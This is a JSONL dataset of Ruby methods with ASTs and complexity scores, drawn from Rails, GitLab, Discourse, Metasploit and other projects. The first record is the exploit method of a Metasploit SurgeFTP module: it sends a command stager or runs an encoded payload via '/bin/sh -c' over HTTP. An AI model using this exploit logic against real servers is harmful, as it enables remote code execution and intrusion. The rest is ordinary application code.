{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/netwin_surgeftp_exec.rb","start_line":120,"raw_source":"def exploit\n    case target['Platform']\n    when 'win'\n      print_status(\"#{rhost}:#{rport} - Sending command stager...\")\n      execute_cmdstager({ :linemax => 500 })\n\n    when 'unix'\n      print_status(\"#{rhost}:#{rport} - Sending payload...\")\n      http_send_command(%Q|/bin/sh -c \"#{payload.encoded}\"|)\n    end\n\n    handler\n  end","complexity_score":20.15,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Platform\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"win\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Sending command stager...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"execute_cmdstager\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"linemax\"]},{\"type\":\"int\",\"children\":[500]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Sending payload...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"http_send_command\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/bin/sh -c \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"handler\"]}]}]}","id":"03bea817-ab06-4132-b406-4a289a10669e"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/testing/assertions/response.rb","start_line":123,"raw_source":"def location_if_redirected\n          return \"\" unless @response.redirection? && @response.location.present?\n          location = normalize_argument_to_redirection(@response.location)\n          \" redirect to <#{location}>\"\n        end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"location_if_redirected\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"redirection?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"location\"]},\"present?\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"location\",{\"type\":\"send\",\"children\":[null,\"normalize_argument_to_redirection\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"location\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" redirect to <\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"location\"]}]},{\"type\":\"str\",\"children\":[\">\"]}]}]}]}","id":"1f4d48ea-ce84-4d29-9197-467731448b33"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/user_updater.rb","start_line":357,"raw_source":"def update_discourse_connect(discourse_connect)\n    external_id = discourse_connect[:external_id]\n    sso = SingleSignOnRecord.find_or_initialize_by(user_id: user.id)\n\n    if external_id.present?\n      sso.update!(\n        external_id: discourse_connect[:external_id],\n        last_payload: \"external_id=#{discourse_connect[:external_id]}\",\n      )\n    else\n      sso.destroy!\n    end\n  end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"update_discourse_connect\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"discourse_connect\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"external_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"discourse_connect\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"external_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sso\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SingleSignOnRecord\"]},\"find_or_initialize_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"external_id\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sso\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"external_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"discourse_connect\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"external_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_payload\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"external_id=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"discourse_connect\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"external_id\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sso\"]},\"destroy!\"]}]}]}]}","id":"d483dc50-8362-4494-aef1-0694a768d3b2"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/columns_test.rb","start_line":289,"raw_source":"def test_change_column_default_to_null_with_not_null\n        add_column \"test_models\", \"first_name\", :string, null: false\n        add_column \"test_models\", \"age\", :integer, null: false\n\n        connection.change_column_default \"test_models\", \"first_name\", nil\n\n        assert_nil TestModel.new.first_name\n\n        connection.change_column_default \"test_models\", \"age\", nil\n\n        assert_nil TestModel.new.age\n      end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_change_column_default_to_null_with_not_null\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"str\",\"children\":[\"test_models\"]},{\"type\":\"str\",\"children\":[\"first_name\"]},{\"type\":\"sym\",\"children\":[\"string\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"str\",\"children\":[\"test_models\"]},{\"type\":\"str\",\"children\":[\"age\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"change_column_default\",{\"type\":\"str\",\"children\":[\"test_models\"]},{\"type\":\"str\",\"children\":[\"first_name\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TestModel\"]},\"new\"]},\"first_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"change_column_default\",{\"type\":\"str\",\"children\":[\"test_models\"]},{\"type\":\"str\",\"children\":[\"age\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TestModel\"]},\"new\"]},\"age\"]}]}]}]}","id":"46a243bf-8821-41e9-a720-7c4e76e24ee6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/auth/container_registry_authentication_service.rb","start_line":57,"raw_source":"def self.push_pull_nested_repositories_access_token(name, project:)\n      name = name.chomp('/')\n\n      access_token(\n        {\n          name => %w[pull push],\n          \"#{name}/*\" => %w[pull]\n        },\n        project: project,\n        use_key_as_project_path: true\n      )\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"push_pull_nested_repositories_access_token\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"kwarg\",\"children\":[\"project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"chomp\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[null,\"access_token\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"pull\"]},{\"type\":\"str\",\"children\":[\"push\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"/*\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"pull\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"use_key_as_project_path\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"39cef61c-38e3-4a66-8119-e3f02378aefe"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/dhcp_server.rb","start_line":36,"raw_source":"def start_service(hash = {}, context = {})\n    @dhcp = Rex::Proto::DHCP::Server.new(hash, context)\n    vprint_status(\"Starting DHCP server\")\n    @dhcp.start\n    add_socket(@dhcp.sock)\n    @dhcp\n  end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"start_service\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"hash\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"context\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@dhcp\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"DHCP\"]},\"Server\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"hash\"]},{\"type\":\"lvar\",\"children\":[\"context\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Starting DHCP server\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@dhcp\"]},\"start\"]},{\"type\":\"send\",\"children\":[null,\"add_socket\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@dhcp\"]},\"sock\"]}]},{\"type\":\"ivar\",\"children\":[\"@dhcp\"]}]}]}","id":"0162bbf8-4168-4fb0-8223-f4768cc257bc"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/concerns/api/pagination.rb","start_line":14,"raw_source":"def pagination_since_id\n    pagination_collection.first.id\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"pagination_since_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pagination_collection\"]},\"first\"]},\"id\"]}]}","id":"58fe41f2-47fa-4d1d-97b5-bd1aa56798c6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/issuable.rb","start_line":705,"raw_source":"def read_ability_for(participable_source)\n    return super if participable_source == self\n    return super if participable_source.is_a?(Note) && participable_source.system?\n\n    name =  participable_source.try(:issuable_ability_name) || :read_issuable_participables\n\n    { name: name, subject: self }\n  end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"read_ability_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"participable_source\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"participable_source\"]},\"==\",{\"type\":\"self\",\"children\":[]}]},{\"type\":\"return\",\"children\":[{\"type\":\"zsuper\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"participable_source\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Note\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"participable_source\"]},\"system?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"zsuper\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"participable_source\"]},\"try\",{\"type\":\"sym\",\"children\":[\"issuable_ability_name\"]}]},{\"type\":\"sym\",\"children\":[\"read_issuable_participables\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subject\"]},{\"type\":\"self\",\"children\":[]}]}]}]}]}","id":"fe3a3201-ff26-4aa0-8425-ade9e97b8730"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb","start_line":131,"raw_source":"def deprecated_cmd(method=nil, *args)\n      cmd = caller[0].match(/`cmd_(.*)'/)[1]\n      print_error \"The #{cmd} command is DEPRECATED\"\n      if cmd == \"db_autopwn\"\n        print_error \"See http://r-7.co/xY65Zr instead\"\n      elsif method and self.respond_to?(\"cmd_#{method}\", true)\n        print_error \"Use #{method} instead\"\n        self.send(\"cmd_#{method}\", *args)\n      end\n    end","complexity_score":20.2,"ast_json":"{\"type\":\"def\",\"children\":[\"deprecated_cmd\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"method\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"caller\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"`cmd_(.*)'\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]},{\"type\":\"str\",\"children\":[\" command is DEPRECATED\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"==\",{\"type\":\"str\",\"children\":[\"db_autopwn\"]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"See http://r-7.co/xY65Zr instead\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"respond_to?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"cmd_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]}]}]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Use \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]}]},{\"type\":\"str\",\"children\":[\" instead\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"send\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"cmd_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]}]}]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]},null]}]}]}]}","id":"68914930-1199-4f36-8ae8-319d368809c6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/command_dispatcher/core.rb","start_line":1449,"raw_source":"def cmd_sessions_help\n    print_line('Usage: sessions [options] or sessions [id]')\n    print_line\n    print_line('Active session manipulation and interaction.')\n    print(@@sessions_opts.usage)\n    print_line\n    print_line('Many options allow specifying session ranges using commas and dashes.')\n    print_line('For example:  sessions -s checkvm -i 1,3-5  or  sessions -k 1-2,5,6')\n    print_line\n  end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_sessions_help\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Usage: sessions [options] or sessions [id]\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Active session manipulation and interaction.\"]}]},{\"type\":\"send\",\"children\":[null,\"print\",{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@sessions_opts\"]},\"usage\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Many options allow specifying session ranges using commas and dashes.\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"For example:  sessions -s checkvm -i 1,3-5  or  sessions -k 1-2,5,6\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]}]}]}","id":"7815dca8-cf8c-4907-9a5b-28aedc7d8b2b"}
{"repo_name":"spree","file_path":"./repos/spree/core/lib/spree/testing_support/capybara_ext.rb","start_line":15,"raw_source":"def click_icon(type)\n    first(\".icon-#{type}\").click\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"click_icon\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"first\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\".icon-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]}]}]}]},\"click\"]}]}","id":"bf331c99-fb85-4b41-b27e-a51c51412e12"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/base.rb","start_line":105,"raw_source":"def self.lint?\n        department == :Lint\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"lint?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"department\"]},\"==\",{\"type\":\"sym\",\"children\":[\"Lint\"]}]}]}","id":"ba2282a0-b100-4dc6-8365-8aa94608e694"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin_helper/socket.rb","start_line":207,"raw_source":"def socket_certificates_from_file(path)\n        data = File.read(path)\n        pattern = Regexp.compile('-+BEGIN CERTIFICATE-+\\r?\\n(?:[^-]*\\r?\\n)+-+END CERTIFICATE-+\\r?\\n?', Regexp::MULTILINE)\n        list = []\n        data.scan(pattern) { |match| list << OpenSSL::X509::Certificate.new(match) }\n        if list.length == 0\n          raise Fluent::ConfigError, \"cert_path does not contain a valid certificate\"\n        end\n        list\n      end","complexity_score":13.7,"ast_json":"{\"type\":\"def\",\"children\":[\"socket_certificates_from_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pattern\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"compile\",{\"type\":\"str\",\"children\":[\"-+BEGIN CERTIFICATE-+\\\\r?\\\\n(?:[^-]*\\\\r?\\\\n)+-+END CERTIFICATE-+\\\\r?\\\\n?\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"MULTILINE\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"list\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"scan\",{\"type\":\"lvar\",\"children\":[\"pattern\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"match\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"X509\"]},\"Certificate\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"match\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"ConfigError\"]},{\"type\":\"str\",\"children\":[\"cert_path does not contain a valid certificate\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"list\"]}]}]}","id":"1231700f-81c7-4e92-a6bf-4519a83d00ca"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/topic_query/private_message_lists.rb","start_line":5,"raw_source":"def list_private_messages(user, &blk)\n      list = user_personal_private_messages(user)\n      list = not_archived(list, user)\n      list = have_posts_from_others(list, user)\n\n      create_list(:private_messages, {}, list, &blk)\n    end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"list_private_messages\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"blockarg\",\"children\":[\"blk\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"list\",{\"type\":\"send\",\"children\":[null,\"user_personal_private_messages\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"list\",{\"type\":\"send\",\"children\":[null,\"not_archived\",{\"type\":\"lvar\",\"children\":[\"list\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"list\",{\"type\":\"send\",\"children\":[null,\"have_posts_from_others\",{\"type\":\"lvar\",\"children\":[\"list\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_list\",{\"type\":\"sym\",\"children\":[\"private_messages\"]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"list\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blk\"]}]}]}]}]}","id":"f4113381-e81d-4ed4-b7f5-53570f7b6e75"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/clusters/create_service.rb","start_line":12,"raw_source":"def execute(access_token: nil)\n      raise ArgumentError, 'Unknown clusterable provided' unless clusterable\n\n      cluster_params = params.merge(global_params).merge(clusterable_params)\n\n      cluster_params[:provider_gcp_attributes].try do |provider|\n        provider[:access_token] = access_token\n      end\n\n      cluster = Clusters::Cluster.new(cluster_params)\n\n      validate_management_project_permissions(cluster)\n\n      return cluster if cluster.errors.present?\n\n      cluster.tap(&:save)\n    end","complexity_score":23.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"access_token\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"clusterable\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"Unknown clusterable provided\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cluster_params\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"merge\",{\"type\":\"send\",\"children\":[null,\"global_params\"]}]},\"merge\",{\"type\":\"send\",\"children\":[null,\"clusterable_params\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cluster_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"provider_gcp_attributes\"]}]},\"try\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"provider\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provider\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"access_token\"]},{\"type\":\"lvar\",\"children\":[\"access_token\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cluster\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Clusters\"]},\"Cluster\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"cluster_params\"]}]}]},{\"type\":\"send\",\"children\":[null,\"validate_management_project_permissions\",{\"type\":\"lvar\",\"children\":[\"cluster\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cluster\"]},\"errors\"]},\"present?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cluster\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cluster\"]},\"tap\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"save\"]}]}]}]}]}","id":"207a43f6-f592-4b77-a175-fc1157e6b9c1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/amqp/version_0_9_1/client.rb","start_line":296,"raw_source":"def send_connection_close(arguments={})\n    conn_close = Version091::Frames::AmqpVersion091MethodFrame.new\n    conn_close.arguments = Version091::Frames::MethodArguments::AmqpVersion091ConnectionClose.new(arguments)\n    send_frame(conn_close)\n\n    nil\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"send_connection_close\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"arguments\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"conn_close\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Version091\"]},\"Frames\"]},\"AmqpVersion091MethodFrame\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn_close\"]},\"arguments=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Version091\"]},\"Frames\"]},\"MethodArguments\"]},\"AmqpVersion091ConnectionClose\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"arguments\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_frame\",{\"type\":\"lvar\",\"children\":[\"conn_close\"]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"566e8317-a2ab-4fb4-af2c-3d73e2c11e60"}
